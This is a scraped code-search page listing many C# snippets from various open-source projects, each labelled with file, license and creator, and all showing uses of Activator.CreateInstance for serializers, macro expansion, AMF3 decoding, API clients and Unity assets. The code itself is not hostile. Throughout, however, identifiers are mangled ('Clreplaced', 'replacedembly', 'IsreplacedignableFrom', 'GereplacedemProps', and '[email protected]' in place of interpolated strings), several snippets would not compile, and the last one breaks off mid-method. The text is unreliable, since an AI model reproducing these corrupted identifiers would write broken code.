License : MIT License
Project Creator : 404Lcc

public override object Read(object untyped, ProtoReader source)
        {
            TDictionary typed = AppendToCollection ? ((TDictionary)untyped) : null;
            if (typed == null) typed = (TDictionary)Activator.CreateInstance(concreteType);

            do
            {
                var key = DefaultKey;
                var value = DefaultValue;
                SubItemToken token = ProtoReader.StartSubItem(source);
                int field;
                while ((field = source.ReadFieldHeader()) > 0)
                {
                    switch (field)
                    {
                        case 1:
                            key = (TKey)keyTail.Read(null, source);
                            break;
                        case 2:
                            value = (TValue)Tail.Read(Tail.RequiresOldValue ? (object)value : null, source);
                            break;
                        default:
                            source.SkipField();
                            break;
                    }
                }

                ProtoReader.EndSubItem(token, source);
                typed[key] = value;
            } while (source.TryReadFieldHeader(fieldNumber));

            return typed;
        }

19 View Source File : TupleSerializer.cs
License : MIT License
Project Creator : 404Lcc

private object GetValue(object obj, int index)
        {
            PropertyInfo prop;
            FieldInfo field;

            if ((prop = members[index] as PropertyInfo) != null)
            {
                if (obj == null)
                    return Helpers.IsValueType(prop.PropertyType) ? Activator.CreateInstance(prop.PropertyType) : null;
                //return prop.GetValue(obj, null);
                return prop.GetGetMethod(true).Invoke(obj, null);
            }
            else if ((field = members[index] as FieldInfo) != null)
            {
                if (obj == null)
                    return Helpers.IsValueType(field.FieldType) ? Activator.CreateInstance(field.FieldType) : null;
                return field.GetValue(obj);
            }
            else
            {
                throw new InvalidOperationException();
            }
        }

19 View Source File : MacroExpander.cs
License : MIT License
Project Creator : 71

public override SyntaxNode VisitInvocationExpression(InvocationExpressionSyntax node)
        {
            IInvocationExpression invocation = semanticModel.GetOperation(node, cancellationToken) as IInvocationExpression;

            if (invocation == null)
                return base.VisitInvocationExpression(node);

            bool IsMacroMethod(ISymbol methodSymbol, out string error)
            {
                foreach (var attr in methodSymbol.GetAttributes())
                {
                    if (attr.AttributeClreplaced.MetadataName != nameof(ExpandAttribute))
                        continue;

                    if (!methodSymbol.IsStatic)
                        error = "The target method must be static.";
                    else
                        error = null;

                    return true;
                }

                error = null;
                return false;
            }

            // Check if it's a call to a macro method
            var target = invocation.TargetMethod;

            if (!IsMacroMethod(target, out string err))
                return base.VisitInvocationExpression(node);

            // Make sure it's valid
            if (err != null)
                throw new DiagnosticException($"Cannot call the specified method as a macro method: {err}.",
                                              invocation.Syntax.GetLocation());

            // It is a method, find it
            MethodInfo method = target.GetCorrespondingMethod() as MethodInfo;

            if (method == null)
                throw new DiagnosticException("Cannot find corresponding method.", invocation.Syntax.GetLocation());

            // Found it, make the arguments
            ParameterInfo[] parameters = method.GetParameters();
            object[] arguments = new object[parameters.Length];

            for (int i = 0; i < arguments.Length; i++)
            {
                ParameterInfo param = parameters[i];
                Type paramType = param.ParameterType;

                if (param.HasDefaultValue)
                    arguments[i] = param.DefaultValue;
                else
                    arguments[i] = paramType.GetTypeInfo().IsValueType
                        ? Activator.CreateInstance(paramType)
                        : null;
            }

            // Set up the context
            var statementSyntax = node.FirstAncestorOrSelf<StatementSyntax>();
            var statementSymbol = new Lazy<IOperation>(() => semanticModel.GetOperation(statementSyntax, cancellationToken));

            var callerSymbol = new Lazy<IMethodSymbol>(() => semanticModel.GetEnclosingSymbol(statementSyntax.SpanStart, cancellationToken) as IMethodSymbol);
            var callerInfo = new Lazy<MethodInfo>(() => callerSymbol.Value?.GetCorrespondingMethod() as MethodInfo);

            ExpressionSyntax expr;
            StatementSyntax stmt;

            using (CallBinder.EnterContext(invocation, statementSymbol, node, statementSyntax, method, target, callerInfo, callerSymbol))
            {
                // Invoke the method
                try
                {
                    method.Invoke(null, arguments);
                }
                catch (Exception e)
                {
                    throw new DiagnosticException($"Exception thrown when expanding the '{method}' macro.", e, invocation.Syntax.GetLocation());
                }

                (expr, stmt) = CallBinder.Result;
            }

            // Edit the node accordingly
            if (stmt != statementSyntax)
            {
                // Return the new statement
                changes.Add(statementSyntax, stmt.WithTriviaFrom(statementSyntax).Accept(this) as StatementSyntax);
                return node;
            }

            return base.Visit(expr == node ? expr : expr.WithTriviaFrom(node));
        }

19 View Source File : ApplyAttribute.cs
License : MIT License
Project Creator : 71

public override ClreplacedDeclarationSyntax Apply(ClreplacedDeclarationSyntax node, INamedTypeSymbol symbol, CancellationToken cancellationToken)
            {
                return Activator.CreateInstance(componentType) is Component component
                    ? component.Apply(node, symbol, cancellationToken)
                    : node;
            }

19 View Source File : VirtualStateMachine.cs
License : MIT License
Project Creator : 71

public virtual void Reset()
        {
            _state = NOT_YET_STARTED;

            for (int i = 0; i < _locals.Length; i++)
            {
                object ith = _locals[i];
                _locals[i] = ith == null || !ith.GetType().GetTypeInfo().IsValueType
                    ? null : Activator.CreateInstance(ith.GetType());
            }

            Initialize();
        }

19 View Source File : VirtualStateMachine.cs
License : MIT License
Project Creator : 71

internal void Initialize(ParameterExpression[] locals, int endState, Delegate next)
        {
            _locals = new object[locals.Length];
            _readOnlyLocals = new ReadOnlyCollection<object>(_locals);

            _endState = endState;
            _next = next;

            for (int i = 0; i < locals.Length; i++)
            {
                Type localType = locals[i].Type;
                _locals[i] = localType.GetTypeInfo().IsValueType ? Activator.CreateInstance(localType) : null;
            }

            Initialize();
        }

19 View Source File : Ryder.Lightweight.cs
License : MIT License
Project Creator : 71

public static bool TryPrepareMethod(MethodBase method, RuntimeMethodHandle handle)
            {
                // First, try the good ol' RuntimeHelpers.PrepareMethod.
                if (PrepareMethod != null)
                {
                    PrepareMethod(handle);
                    return true;
                }

                // No chance, we gotta go lower.
                // Invoke the method with uninitialized arguments.
                object sender = null;

                object[] GetArguments(ParameterInfo[] parameters)
                {
                    object[] args = new object[parameters.Length];

                    for (int i = 0; i < parameters.Length; i++)
                    {
                        ParameterInfo param = parameters[i];

                        if (param.HasDefaultValue)
                            args[i] = param.DefaultValue;
                        else if (param.ParameterType.GetTypeInfo().IsValueType)
                            args[i] = Activator.CreateInstance(param.ParameterType);
                        else
                            args[i] = null;
                    }

                    return args;
                }

                if (!method.IsStatic)
                {
                    // Gotta make the instance
                    Type declaringType = method.DeclaringType;

                    if (declaringType.GetTypeInfo().IsValueType)
                    {
                        sender = Activator.CreateInstance(declaringType);
                    }
                    else if (declaringType.GetTypeInfo().IsAbstract)
                    {
                        // Overkill solution: Find a type in the replacedembly that implements the declaring type,
                        // and use it instead.
                        throw new InvalidOperationException("Cannot manually JIT a method");
                    }
                    else if (GetUninitializedObject != null)
                    {
                        sender = GetUninitializedObject(declaringType);
                    }
                    else
                    {
                        /* TODO
                         * Since I just made the whole 'gotta JIT the method' step mandatory
                         * in the MethodRedirection ctor, i should make sure this always returns true.
                         * That means looking up every type for overriding types for the throwing step above,
                         * and testing every possible constructor to create the instance.
                         * 
                         * Additionally, if we want to go even further, we can repeat this step for every
                         * single argument of the ctor, thus making sure that we end up having an actual clreplaced.
                         * In this case, unless the user wants to instantiate an abstract clreplaced with no overriding clreplaced,
                         * everything'll work. HOWEVER, performances would be less-than-ideal. A simple Redirection
                         * may mean scanning the replacedembly a dozen times for overriding types, calling their constructors
                         * hundreds of times, knowing that all of them will be slow (Reflection + Try/Catch blocks aren't
                         * perfs-friendly).
                         */
                        ConstructorInfo ctor = declaringType.GetConstructor(Type.EmptyTypes);

                        if (ctor != null)
                        {
                            sender = ctor.Invoke(null);
                        }
                        else
                        {
                            ConstructorInfo[] ctors = declaringType.GetConstructors(ALL_INSTANCE);

                            Array.Sort(ctors, (a, b) => a.GetParameters().Length.CompareTo(b.GetParameters().Length));

                            ctor = ctors[0];

                            try
                            {
                                sender = ctor.Invoke(GetArguments(ctor.GetParameters()));
                            }
                            catch (TargetInvocationException)
                            {
                                // Nothing we can do, give up.
                                return false;
                            }
                        }
                    }
                }

                try
                {
                    method.Invoke(sender, GetArguments(method.GetParameters()));
                }
                catch (TargetInvocationException)
                {
                    // That's okay.
                }

                return true;
            }

19 View Source File : Helpers.cs
License : MIT License
Project Creator : 71

public static bool TryPrepareMethod(MethodBase method, RuntimeMethodHandle handle)
        {
            // First, try the good ol' RuntimeHelpers.PrepareMethod.
            if (PrepareMethod != null)
            {
                PrepareMethod(handle);
                return true;
            }

            // No chance, we gotta go lower.
            // Invoke the method with uninitialized arguments.
            object sender = null;

            object[] GetArguments(ParameterInfo[] parameters)
            {
                object[] args = new object[parameters.Length];

                for (int i = 0; i < parameters.Length; i++)
                {
                    ParameterInfo param = parameters[i];

                    if (param.HasDefaultValue)
                        args[i] = param.DefaultValue;
                    else if (param.ParameterType.GetTypeInfo().IsValueType)
                        args[i] = Activator.CreateInstance(param.ParameterType);
                    else
                        args[i] = null;
                }

                return args;
            }

            if (!method.IsStatic)
            {
                // Gotta make the instance
                Type declaringType = method.DeclaringType;

                if (declaringType.GetTypeInfo().IsValueType)
                {
                    sender = Activator.CreateInstance(declaringType);
                }
                else if (declaringType.GetTypeInfo().IsAbstract)
                {
                    // Overkill solution: Find a type in the replacedembly that implements the declaring type,
                    // and use it instead.
                    throw new InvalidOperationException("Cannot manually JIT a method");
                }
                else if (GetUninitializedObject != null)
                {
                    sender = GetUninitializedObject(declaringType);
                }
                else
                {
                    /* TODO
                     * Since I just made the whole 'gotta JIT the method' step mandatory
                     * in the MethodRedirection ctor, i should make sure this always returns true.
                     * That means looking up every type for overriding types for the throwing step above,
                     * and testing every possible constructor to create the instance.
                     * 
                     * Additionally, if we want to go even further, we can repeat this step for every
                     * single argument of the ctor, thus making sure that we end up having an actual clreplaced.
                     * In this case, unless the user wants to instantiate an abstract clreplaced with no overriding clreplaced,
                     * everything'll work. HOWEVER, performances would be less-than-ideal. A simple Redirection
                     * may mean scanning the replacedembly a dozen times for overriding types, calling their constructors
                     * hundreds of times, knowing that all of them will be slow (Reflection + Try/Catch blocks aren't
                     * perfs-friendly).
                     */
                    ConstructorInfo ctor = declaringType.GetConstructor(Type.EmptyTypes);

                    if (ctor != null)
                    {
                        sender = ctor.Invoke(null);
                    }
                    else
                    {
                        ConstructorInfo[] ctors = declaringType.GetConstructors(ALL_INSTANCE);

                        Array.Sort(ctors, (a, b) => a.GetParameters().Length.CompareTo(b.GetParameters().Length));

                        ctor = ctors[0];

                        try
                        {
                            sender = ctor.Invoke(GetArguments(ctor.GetParameters()));
                        }
                        catch (TargetInvocationException)
                        {
                            // Nothing we can do, give up.
                            return false;
                        }
                    }
                }
            }

            try
            {
                method.Invoke(sender, GetArguments(method.GetParameters()));
            }
            catch (TargetInvocationException)
            {
                // That's okay.
            }

            return true;
        }

19 View Source File : Object.Extension.cs
License : MIT License
Project Creator : 7Bytes-Studio

public static object To(this object value,Type tp)
        {
            if (value == null) return null;

            if (tp.IsGenericType)
            {
                tp = tp.GetGenericArguments()[0];
            }
            if (tp.Name.ToLower() == "string")
            {
                return value;
            }
            var TryParse = tp.GetMethod("TryParse", BindingFlags.Public | BindingFlags.Static, Type.DefaultBinder,
                                            new Type[] { typeof(string), tp.MakeByRefType() },
                                            new ParameterModifier[] { new ParameterModifier(2) });
            var parameters = new object[] { value, Activator.CreateInstance(tp) };
            bool success = (bool)TryParse.Invoke(null, parameters);
            if (success)
            {
                return parameters[1];
            }
            return null;
        }

19 View Source File : Object.Extension.cs
License : MIT License
Project Creator : 7Bytes-Studio

public static T To<T>(this object value)
        {
            if (value == null) return default(T);
            Type tp = typeof(T);
            if (tp.IsGenericType)
            {
                tp = tp.GetGenericArguments()[0];
            }
            if (tp.Name.ToLower() == "string")
            {
                return (T)value;
            }
            var TryParse = tp.GetMethod("TryParse", BindingFlags.Public | BindingFlags.Static, Type.DefaultBinder,
                                            new Type[] { typeof(string), tp.MakeByRefType() },
                                            new ParameterModifier[] { new ParameterModifier(2) });
            var parameters = new object[] { value, Activator.CreateInstance(tp) };
            bool success = (bool)TryParse.Invoke(null, parameters);
            if (success)
            {
                return (T)parameters[1];
            }
            return default(T);
        }

19 View Source File : FilterManager.cs
License : MIT License
Project Creator : 99x

internal FilterChainResponse ExecuteChain()
        {
            Dictionary<string, object> filterInputs = new Dictionary<string, object>();

            FilterChainResponse outData = new FilterChainResponse();
            outData.FilterResponse = filterInputs;

            foreach (Type filterType in filterChain)
            {
                try
                {
                    AbstractFilter filterObj = (AbstractFilter)Activator.CreateInstance(filterType);
                    filterObj.DataBag = filterInputs;
                    outData.LastResponse = filterObj.FilterResponse;
                    filterObj.Process();

                    if (!filterObj.FilterResponse.Success)
                        break;
                }
                catch (Exception ex)
                {
                    outData.LastResponse.Error = ex;
                    outData.LastResponse.StatusCode = 500;
                    outData.LastResponse.Success = false;
                    outData.LastResponse.Message = "Internal Server Error";
                    break;
                }
            }

            return outData;
        }

19 View Source File : ResponseFormatter.cs
License : MIT License
Project Creator : 99x

internal void Register<T>() where T : AbstractFormatter
        {
            var fObj = (AbstractFormatter)Activator.CreateInstance(typeof(T));
            Formatters.Add(fObj.GetMimeType(), fObj);
            if (defaultFormatter == null)
                defaultFormatter = fObj;
        }

19 View Source File : ResponseFormatter.cs
License : MIT License
Project Creator : 99x

internal void Register<T>(bool isDefault) where T : AbstractFormatter
        {
            var fObj = (AbstractFormatter)Activator.CreateInstance(typeof(T));
            Formatters.Add(fObj.GetMimeType(), fObj);
            if (isDefault)
                defaultFormatter = fObj;
        }

19 View Source File : ConfigDomainService.cs
License : GNU Lesser General Public License v3.0
Project Creator : 8720826

private List<ConfigModel> GetAppConfigValue(Dictionary<string,string> configDic, Type type, string parentName = "")
        {
            var configs = new List<ConfigModel>();
            PropertyInfo[] props = type.GetProperties();
            foreach (PropertyInfo prop in props)
            {

                string name = prop.Name;
                string key = string.IsNullOrEmpty(parentName) ? $"{name}" : $"{parentName}:{name}";

                if (prop.PropertyType.IsValueType || prop.PropertyType.Name.StartsWith("String"))
                {
                    string value = "";
                    try
                    {
                        configDic.TryGetValue(key, out  value);
                    }
                    catch (Exception)
                    {

                    }

                    if (string.IsNullOrEmpty(value))
                    {
                        if (prop.PropertyType == typeof(int) || prop.PropertyType == typeof(int?) ||
                            prop.PropertyType == typeof(bool) || prop.PropertyType == typeof(bool?) ||
                            prop.PropertyType == typeof(float) || prop.PropertyType == typeof(float?) ||
                            prop.PropertyType == typeof(double)|| prop.PropertyType == typeof(double?) 
                            )
                        {
                            var defaultValue = Activator.CreateInstance(prop.PropertyType);
                            value = defaultValue.ToString();
                        }
                        else if (prop.PropertyType == typeof(DateTime?) || prop.PropertyType == typeof(DateTime))
                        {
                            value = DateTime.Now.ToString();
                        }
                        else if (prop.PropertyType == typeof(Guid?) || prop.PropertyType == typeof(Guid))
                        {
                            value = Guid.Empty.ToString();
                        }
                    }

                    var attribute = prop.GetCustomAttribute(typeof(DisplayNameAttribute)) as DisplayNameAttribute;
                    configs.Add(new ConfigModel
                    {
                        Key = key,
                        Name = attribute?.DisplayName ?? name,
                        Value = value,
                        Type = prop.PropertyType
                    });
                }
                else
                {
                    configs.AddRange(GetAppConfigValue(configDic, prop.PropertyType, key));
                }

            }

            return configs;
        }

19 View Source File : Amf3Reader.cs
License : MIT License
Project Creator : a1q123456

public bool TryGetVectorObject(Span<byte> buffer, out object value, out int consumed)
        {
            value = default;
            consumed = default;

            if (!DataIsType(buffer, Amf3Type.VectorObject))
            {
                return false;
            }

            buffer = buffer.Slice(Amf3CommonValues.MARKER_LENGTH);

            int arrayConsumed = 0;

            if (!ReadVectorHeader(ref buffer, ref value, ref arrayConsumed, out var itemCount, out var isFixedSize, out var isRef))
            {
                return false;
            }

            if (isRef)
            {
                consumed = arrayConsumed;
                return true;
            }

            if (!ReadVectorTypeName(ref buffer, out var typeName, out var typeNameConsumed))
            {
                return false;
            }

            var arrayBodyBuffer = buffer;

            object resultVector = null;
            Type elementType = null;
            Action<object> addAction = null;
            if (typeName == "*")
            {
                elementType = typeof(object);
                var v = new Vector<object>();
                _objectReferenceTable.Add(v);
                v.IsFixedSize = isFixedSize;
                resultVector = v;
                addAction = v.Add;
            }
            else
            {
                if (!_registeredTypedObejectStates.TryGetValue(typeName, out var state))
                {
                    return false;
                }
                elementType = state.Type;

                var vectorType = typeof(Vector<>).MakeGenericType(elementType);
                resultVector = Activator.CreateInstance(vectorType);
                _objectReferenceTable.Add(resultVector);
                vectorType.GetProperty("IsFixedSize").SetValue(resultVector, isFixedSize);
                var addMethod = vectorType.GetMethod("Add");
                addAction = o => addMethod.Invoke(resultVector, new object[] { o });
            }
            for (int i = 0; i < itemCount; i++)
            {
                if (!TryGetValue(arrayBodyBuffer, out var item, out var itemConsumed))
                {
                    return false;
                }
                addAction(item);

                arrayBodyBuffer = arrayBodyBuffer.Slice(itemConsumed);
                arrayConsumed += itemConsumed;
            }
            value = resultVector;
            consumed = typeNameConsumed + arrayConsumed;
            return true;
        }

19 View Source File : UserControlMessageFactory.cs
License : MIT License
Project Creator : a1q123456

public Message Provide(MessageHeader header, SerializationContext context, out int consumed)
        {
            var type = (UserControlEventType)NetworkBitConverter.ToUInt16(context.ReadBuffer.Span);
            if (!_messageFactories.TryGetValue(type, out var t))
            {
                throw new NotSupportedException();
            }
            consumed = 0;
            return (Message)Activator.CreateInstance(t);
        }

19 View Source File : Form1.cs
License : MIT License
Project Creator : a1xd

static void MakeStartupShortcut(bool gui)
        {
            var startupFolder = Environment.GetFolderPath(Environment.SpecialFolder.Startup);

            if (string.IsNullOrEmpty(startupFolder))
            {
                throw new Exception("Startup folder does not exist");
            }

            //Windows Script Host Shell Object
            Type t = Type.GetTypeFromCLSID(new Guid("72C24DD5-D70A-438B-8A42-98424B88AFB8"));
            dynamic shell = Activator.CreateInstance(t);

            try
            {
                // Delete any other RA related startup shortcuts
                var candidates = new[] { "rawaccel", "raw accel", "writer" };

                foreach (string path in Directory.EnumerateFiles(startupFolder, "*.lnk")
                    .Where(f => candidates.Any(f.Substring(startupFolder.Length).ToLower().Contains)))
                {
                    var link = shell.CreateShortcut(path);
                    try
                    {
                        string targetPath = link.TargetPath;

                        if (!(targetPath is null) && 
                            (targetPath.EndsWith("rawaccel.exe") ||
                                targetPath.EndsWith("writer.exe") &&
                                    new FileInfo(targetPath).Directory.GetFiles("rawaccel.exe").Any()))
                        {
                            File.Delete(path);
                        }
                    }
                    finally
                    {
                        Marshal.FinalReleaseComObject(link);
                    }
                }

                var name = gui ? "rawaccel" : "writer";

                var lnk = shell.CreateShortcut([email protected]"{startupFolder}\{name}.lnk");

                try
                {
                    if (!gui) lnk.Arguments = Constants.DefaultSettingsFileName;
                    lnk.TargetPath = [email protected]"{Application.StartupPath}\{name}.exe";
                    lnk.Save();
                }
                finally
                {
                    Marshal.FinalReleaseComObject(lnk);
                }

            }
            finally
            {
                Marshal.FinalReleaseComObject(shell);
            }
        }

19 View Source File : ObjectManager.cs
License : GNU General Public License v3.0
Project Creator : a2659802

public static void Register(string poolname,Type td,Type ti)
        {
            if (!(td.IsSubclreplacedOf(typeof(CustomDecoration))) || !(ti.IsSubclreplacedOf(typeof(Item))))
                throw new ArgumentException($"{td}-{ti} match exception");


            if (!ObjectLoader.InstantiableObjects.ContainsKey(poolname)) // create an empty gameobject for registion
            {
                GameObject empty = new GameObject();
                Object.DontDestroyOnLoad(empty);
                empty.SetActive(false);
                ObjectLoader.InstantiableObjects.Add(poolname, empty);
                Logger.LogDebug($"Cant find an object in InstantiableObjects, create an empty GO instead");
            }

            GameObject prefab = ObjectLoader.InstantiableObjects[poolname];
            var item = Activator.CreateInstance(ti) as Item;
            item.pname = poolname;
            CustomDecoration d = prefab.AddComponent(td) as CustomDecoration;
            d.item = item;

            Logger.Log($"Register [{poolname}] - Behaviour : {td} - DataStruct : {ti}");
            ReflectionCache.GereplacedemProps(ti, Operation.None);
            ReflectionCache.GetMethods(td, Operation.None);
            //ItemDescriptor.Register(td,poolname);
        }

19 View Source File : DownloadingAssetsList.cs
License : Apache License 2.0
Project Creator : A7ocin

private T GetTempreplacedet<T>() where T : UnityEngine.Object
		{
			T thisTempreplacedet = null;
			//we only want the last bit after any replacedembly
			var thisTypeName = typeof(T).ToString().Replace(typeof(T).Namespace + ".", "");
			//check RuntimeAnimatorController because these get called different things in the editor and in game
			if (typeof(T) == typeof(RuntimeAnimatorController))
				thisTypeName = "RuntimeAnimatorController";
			T thisPlaceholder = (T)Resources.Load<T>("Placeholderreplacedets/" + thisTypeName + "Placeholder") as T;
			if (thisPlaceholder != null)//can we replacedume if an replacedet was found its a scriptableobject
			{
				thisTempreplacedet = ScriptableObject.Instantiate(thisPlaceholder) as T;
			}
			else
			{
				if (typeof(ScriptableObject).IsreplacedignableFrom(typeof(T)))
				{
					thisTempreplacedet = ScriptableObject.CreateInstance(typeof(T)) as T;
				}
				else
				{
					thisTempreplacedet = (T)Activator.CreateInstance(typeof(T));
				}
			}
			return thisTempreplacedet;
		}

19 View Source File : Amf3Reader.cs
License : MIT License
Project Creator : a1q123456

public bool TryGetObject(Span<byte> buffer, out object value, out int consumed)
        {
            value = default;
            consumed = 0;
            if (!DataIsType(buffer, Amf3Type.Object))
            {
                return false;
            }
            consumed = Amf3CommonValues.MARKER_LENGTH;
            if (!TryGetU29Impl(buffer.Slice(Amf3CommonValues.MARKER_LENGTH), out var header, out var headerLength))
            {
                return false;
            }
            consumed += headerLength;

            if (!TryGetReference(header, _objectReferenceTable, out var headerData, out object refValue, out var isRef))
            {
                return false;
            }

            if (isRef)
            {
                value = refValue;
                return true;
            }
            Amf3ClreplacedTraits traits = null;
            if ((header & 0x02) == 0x00)
            {
                var referenceIndex = (int)((header >> 2) & 0x3FFFFFFF);
                if (_objectTraitsReferenceTable.Count <= referenceIndex)
                {
                    return false;
                }

                if (_objectTraitsReferenceTable[referenceIndex] is Amf3ClreplacedTraits obj)
                {
                    traits = obj;
                }
                else
                {
                    return false;
                }
            }
            else
            {
                traits = new Amf3ClreplacedTraits();
                var dataBuffer = buffer.Slice(Amf3CommonValues.MARKER_LENGTH + headerLength);
                if ((header & 0x04) == 0x04)
                {
                    traits.ClreplacedType = Amf3ClreplacedType.Externalizable;
                    if (!TryGetStringImpl(dataBuffer, _stringReferenceTable, out var extClreplacedName, out int extClreplacedNameConsumed))
                    {
                        return false;
                    }
                    consumed += extClreplacedNameConsumed;
                    traits.ClreplacedName = extClreplacedName;
                    var externailzableBuffer = dataBuffer.Slice(extClreplacedNameConsumed);

                    if (!_registeredExternalizable.TryGetValue(extClreplacedName, out var extType))
                    {
                        return false;
                    }
                    var extObj = Activator.CreateInstance(extType) as IExternalizable;
                    if (!extObj.TryDecodeData(externailzableBuffer, out var extConsumed))
                    {
                        return false;
                    }

                    value = extObj;
                    consumed = Amf3CommonValues.MARKER_LENGTH + headerLength + extClreplacedNameConsumed + extConsumed;
                    return true;
                }

                if (!TryGetStringImpl(dataBuffer, _stringReferenceTable, out var clreplacedName, out int clreplacedNameConsumed))
                {
                    return false;
                }
                dataBuffer = dataBuffer.Slice(clreplacedNameConsumed);
                consumed += clreplacedNameConsumed;
                if (clreplacedName.Any())
                {
                    traits.ClreplacedType = Amf3ClreplacedType.Typed;
                    traits.ClreplacedName = clreplacedName;
                }
                else
                {
                    traits.ClreplacedType = Amf3ClreplacedType.Anonymous;
                }

                if ((header & 0x08) == 0x08)
                {
                    traits.IsDynamic = true;
                }
                var memberCount = header >> 4;
                for (int i = 0; i < memberCount; i++)
                {
                    if (!TryGetStringImpl(dataBuffer, _stringReferenceTable, out var key, out var keyConsumed))
                    {
                        return false;
                    }
                    traits.Members.Add(key);
                    dataBuffer = dataBuffer.Slice(keyConsumed);
                    consumed += keyConsumed;
                }
                _objectTraitsReferenceTable.Add(traits);
            }

            object deserailziedObject = null;
            var valueBuffer = buffer.Slice(consumed);
            if (traits.ClreplacedType == Amf3ClreplacedType.Typed)
            {
                if (!_registeredTypedObejectStates.TryGetValue(traits.ClreplacedName, out var state))
                {
                    return false;
                }

                var clreplacedType = state.Type;
                if (!traits.Members.OrderBy(m => m).SequenceEqual(state.Members.Keys.OrderBy(p => p)))
                {
                    return false;
                }

                deserailziedObject = Activator.CreateInstance(clreplacedType);
                _objectReferenceTable.Add(deserailziedObject);
                foreach (var member in traits.Members)
                {
                    if (!TryGetValue(valueBuffer, out var data, out var dataConsumed))
                    {
                        return false;
                    }
                    valueBuffer = valueBuffer.Slice(dataConsumed);
                    consumed += dataConsumed;
                    state.Members[member](deserailziedObject, data);
                }
            }
            else
            {
                var obj = new AmfObject();
                _objectReferenceTable.Add(obj);
                foreach (var member in traits.Members)
                {
                    if (!TryGetValue(valueBuffer, out var data, out var dataConsumed))
                    {
                        return false;
                    }
                    valueBuffer = valueBuffer.Slice(dataConsumed);
                    consumed += dataConsumed;
                    obj.Add(member, data);
                }

                deserailziedObject = obj;
            }
            if (traits.IsDynamic)
            {
                var dynamicObject = deserailziedObject as IDynamicObject;
                if (dynamicObject == null)
                {
                    return false;
                }
                if (!TryGetStringImpl(valueBuffer, _stringReferenceTable, out var key, out var keyConsumed))
                {
                    return false;
                }
                consumed += keyConsumed;
                valueBuffer = valueBuffer.Slice(keyConsumed);
                while (key.Any())
                {
                    if (!TryGetValue(valueBuffer, out var data, out var dataConsumed))
                    {
                        return false;
                    }
                    valueBuffer = valueBuffer.Slice(dataConsumed);
                    consumed += dataConsumed;

                    dynamicObject.AddDynamic(key, data);

                    if (!TryGetStringImpl(valueBuffer, _stringReferenceTable, out key, out keyConsumed))
                    {
                        return false;
                    }
                    valueBuffer = valueBuffer.Slice(keyConsumed);
                    consumed += keyConsumed;
                }
            }

            value = deserailziedObject;

            return true;
        }

19 View Source File : BitfinexResultConverter.cs
License : MIT License
Project Creator : aabiryukov

public override object ReadJson(JsonReader reader, Type objectType, object existingValue, JsonSerializer serializer)
        {
            if (objectType == null) throw new ArgumentNullException(nameof(objectType));

            var result = Activator.CreateInstance(objectType);
            var arr = JArray.Load(reader);
            foreach (var property in objectType.GetProperties())
            {
                var attribute =
                    (BitfinexPropertyAttribute) property.GetCustomAttribute(typeof(BitfinexPropertyAttribute));
                if (attribute == null)
                    continue;

                if (attribute.Index >= arr.Count)
                    continue;

                object value;
                var converterAttribute = (JsonConverterAttribute) property.GetCustomAttribute(typeof(JsonConverterAttribute));
                if (converterAttribute != null)
                    value = arr[attribute.Index].ToObject(property.PropertyType, new JsonSerializer() { Converters = { (JsonConverter)Activator.CreateInstance(converterAttribute.ConverterType) } });
                else
                    value = arr[attribute.Index];                

                if (property.PropertyType.IsreplacedignableFrom(value.GetType()))
                    property.SetValue(result, value);
                else
                    property.SetValue(result, value == null ? null : Convert.ChangeType(value, property.PropertyType));
            }
            return result;
        }

19 View Source File : BitfinexAbstractApi.cs
License : MIT License
Project Creator : aabiryukov

protected static BitfinexApiResult<T> ThrowErrorMessage<T>(BitfinexError error, string extraInformation)
        {
            if (error == null)
                throw new ArgumentNullException(nameof(error));

            Log.Write(LogVerbosity.Warning, $"Call failed: {error.ErrorMessage}");
            var result = (BitfinexApiResult<T>)Activator.CreateInstance(typeof(BitfinexApiResult<T>));
            result.Error = error;
            if (extraInformation != null)
                result.Error.ErrorMessage += Environment.NewLine + extraInformation;
            return result;
        }

19 View Source File : BitfinexAbstractApi.cs
License : MIT License
Project Creator : aabiryukov

protected static BitfinexApiResult<T> ReturnResult<T>(T data)
        {
            var result = (BitfinexApiResult<T>)Activator.CreateInstance(typeof(BitfinexApiResult<T>));
            result.Result = data;
            result.Success = true;
            return result;
        }

19 View Source File : FormElementBase.cs
License : MIT License
Project Creator : Aaltuj

public void CreateFormComponent(object target,
            object dataContext,
            string fieldIdentifier, RenderTreeBuilder builder, Type elementType)
        {
            var treeIndex = 0;

            // Create the component based on the mapped Element Type
            builder.OpenComponent(treeIndex, elementType);

            // Bind the value of the input base the the propery of the model instance
            builder.AddAttribute(treeIndex++, nameof(InputBase<TFormElement>.Value), Value);

            // Create the handler for ValueChanged. This wil update the model instance with the input
            builder.AddAttribute(treeIndex++, nameof(InputBase<TFormElement>.ValueChanged), ValueChanged);

            builder.AddAttribute(treeIndex++, nameof(InputBase<TFormElement>.ValueExpression), ValueExpression);

            if (FormColumnDefinition.RenderOptions.Placeholder != null)
                builder.AddAttribute(treeIndex++, "placeholder", FormColumnDefinition.RenderOptions.Placeholder);

            // Set the clreplaced for the the formelement.
            builder.AddAttribute(treeIndex++, "clreplaced", GetDefaultFieldClreplacedes(Activator.CreateInstance(elementType) as InputBase<TFormElement>));

            CheckForInterfaceActions(this, FormColumnDefinition.Model, fieldIdentifier, builder, treeIndex++, elementType);


            builder.CloseComponent();

        }

19 View Source File : Service.cs
License : Apache License 2.0
Project Creator : AantCoder

private static void DependencyInjection()
        {
            //may better way use a native .Net Core DI
            var d = new Dictionary<int, IGenerateResponseContainer>();
            foreach (var type in replacedembly.GetEntryreplacedembly().GetTypes())
            {
                if (!type.IsClreplaced)
                {
                    continue;
                }

                if (type.GetInterfaces().Any(x => x == typeof(IGenerateResponseContainer)))
                {
                    var t = (IGenerateResponseContainer)Activator.CreateInstance(type);
                    d[t.RequestTypePackage] = t;
                }
            }

            ServiceDictionary = d;
        }

19 View Source File : ContextIsolatedTask.cs
License : Microsoft Public License
Project Creator : AArnott

public sealed override bool Execute()
        {
            try
            {
                string taskreplacedemblyPath = new Uri(this.GetType().GetTypeInfo().replacedembly.CodeBase).LocalPath;
                this.ctxt = new CustomreplacedemblyLoader(this);
                replacedembly inContextreplacedembly = this.ctxt.LoadFromreplacedemblyPath(taskreplacedemblyPath);
                Type innerTaskType = inContextreplacedembly.GetType(this.GetType().FullName);

                object innerTask = Activator.CreateInstance(innerTaskType);
                return this.ExecuteInnerTask(innerTask);
            }
            catch (OperationCanceledException)
            {
                this.Log.LogMessage(MessageImportance.High, "Canceled.");
                return false;
            }
        }

19 View Source File : ViewLocator.cs
License : MIT License
Project Creator : Abdesol

public IControl Build(object data)
        {
            var name = data.GetType().FullName!.Replace("ViewModel", "View");
            var type = Type.GetType(name);

